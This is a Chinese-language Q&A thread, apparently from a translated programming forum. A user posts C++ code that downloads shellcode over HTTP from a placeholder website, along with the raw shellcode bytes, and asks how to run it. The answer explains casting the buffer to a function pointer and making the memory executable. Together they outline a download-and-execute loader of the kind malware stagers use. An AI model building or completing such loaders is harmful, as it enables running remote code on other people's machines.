如何用这个C++程序执行shellcode?

问题描述 投票:0回答:1

我已经成功创建了一个程序来使用 HTTP 下载 shellcode,但我不知道如何运行 shellcode。

#include "pch.h"
#include "explorer.h"
#include "getpaths.h"
#include "shortcut.h"

#include <iostream>
#include <windows.h>
#include <wininet.h>
#include <vector>
#include <iomanip>

#pragma comment(lib, "wininet.lib")

using namespace std;

int main() {
    HINTERNET hInternet = InternetOpen(L"WinINet", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (!hInternet) {
        cerr << "Failed to initialize WinINet." << endl;
        return 1;
    }

    HINTERNET hUrl = InternetOpenUrl(hInternet, L"https://website.com/shellcode.txt", NULL, 0, INTERNET_FLAG_RELOAD, 0);
    if (!hUrl) {
        cerr << "Failed to open URL." << endl;
        InternetCloseHandle(hInternet);
        return 1;
    }

    vector<unsigned char> shellcode;
    char buffer[1024];
    DWORD bytesRead;
    while (InternetReadFile(hUrl, buffer, sizeof(buffer), &bytesRead) && bytesRead != 0) {
        // Append the read data to the shellcode vector
        for (DWORD i = 0; i < bytesRead; ++i) {
            shellcode.push_back(buffer[i]);
        }
    }

    InternetCloseHandle(hUrl);
    InternetCloseHandle(hInternet);

    // Print out the shellcode
    cout << "Shellcode:" << endl;
    for (size_t i = 0; i < shellcode.size(); ++i) {
        cout << shellcode[i];
    }
    cout << endl;

    return 0;
}

下载的shellcode如下,十六进制格式: \xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f \xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b \x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b \x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58 \x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59 \x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f \x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb \x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x65\x78\x70\x6c\x6f\x72\x65\x72\x2e\x65\x78\x65\x00

我已经尝试了几种“传统方法”,但无符号字符的转换总是存在问题,而硬编码 shellcode 作为变量则不会出现问题。

c++ shellcode
1个回答
0
投票

从C++的角度来看,代码和数据在某种程度上是分开的。 (可执行)代码在 C++ 中并不是真正可检查的——您可以形成函数的地址并通过这样的指针调用该函数,但您无法可移植地读取指针指向的“内容”。

同样,如果内存中有一些可执行代码作为“数据”,它在 C++ 中不会显示为可调用的“函数”。

但是,您可以通过 cast 在指向两者的指针之间进行转换,具体来说,是函数指针和对象指针之间的转换。此类转换是实现定义的,您需要知道您的目标平台。例如,在 x86_64-Linux 上,函数和对象指针具有相同的大小,您可以这样做:

using F = void();  // function type

void CallData(void* data) {
  F* f = reinterpret_cast<F*>(data);
  f();
}

现在,如果您在某处有一些数据,例如在

shellcode.data()
中,您可以将其传递给
CallData
,它会将数据视为函数并跳转到那里。

请注意,这将要求数据存储器可执行。现代系统不会使数据内存可执行(它是 W^X,“可写异或可执行,但不能两者都可执行”),因此您可能必须首先使内存可执行,否则调用将导致某种内存访问错误。

(您也可以进行相反的强制转换来检查某个给定函数的代码。但是,任何给定函数的长度并不那么明显;它没有明显的“结束”标记;并且

sizeof
对于以下内容无效功能。)

© www.soinside.com 2019 - 2024. All rights reserved.